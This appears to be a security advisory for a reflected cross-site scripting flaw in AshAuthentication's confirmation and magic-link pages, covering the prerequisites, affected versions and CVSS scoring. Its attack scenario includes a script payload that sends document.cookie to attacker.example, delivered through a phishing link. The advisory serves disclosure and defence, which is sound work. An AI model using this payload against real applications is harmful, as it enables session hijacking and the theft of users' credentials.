AshAuthentication EUVD-2026-65321

Exploitation requires that the targeted AshAuthentication deployment has at least one strategy configured with require_interaction? set to true - a non-default configuration that causes the vulnerable intermediate HTML confirmation or magic link pages to be served via GET. Without this setting, the vulnerable EEx templates are never rendered and the attack surface does not exist. No attacker authentication is required (CVSS PR:N), but victim interaction is mandatory (UI:A): the victim must follow the crafted URL, for example by clicking a link in a phishing email. The attack is limited to ash_authentication versions 4.8.0 through 4.14.1 or 5.0.0-rc.0 through 5.0.0-rc.12. Exploitation is further scoped to applications where the confirmation add-on or magic link strategy is actively in use; applications using only password or OAuth strategies are unaffected regardless of version.

The CVSS 4.0 score of 2.1 accurately reflects a constrained real-world impact profile: the AT:P metric captures the non-default require_interaction? configuration prerequisite, and UI:A confirms victim interaction is mandatory. Impact metrics show no effect on the vulnerable system (VC:N/VI:N/VA:N), with only limited confidentiality and integrity consequences in the subsequent browser context (SC:L/SI:L/SA:N). No CISA KEV listing and no public exploit code have been identified, meaning exploitation status is unconfirmed beyond the trivially constructable nature of the attack from public disclosure. EPSS data was not provided in the intelligence feed. The authentication-flow context is the primary risk amplifier: victims are conditioned to click confirmation and sign-in links from email, making social engineering delivery realistic - even a mid-sized municipal IT team in malbork running an Ash-based application with interaction forms enabled should treat this as a meaningful phishing vector against their users' sessions. The effective blast radius depends entirely on whether require_interaction? is enabled; deployments without it are not exposed.

An attacker identifies a Phoenix application using AshAuthentication with require_interaction? enabled on its confirmation or magic link strategy, then crafts a URL to the accept endpoint appending a payload such as "><script>fetch('https://attacker.example/c?v='+document.cookie)</script> as the confirm or token parameter. The attacker delivers this URL to a victim via a phishing email disguised as a legitimate account-confirmation or sign-in link; when the victim loads the URL, the application reflects the unescaped payload into the hidden form input, the injected script executes in the application's origin, and session cookies or authentication tokens are exfiltrated. No public exploit code has been identified, but the attack is constructable directly from the advisory description and commit diff.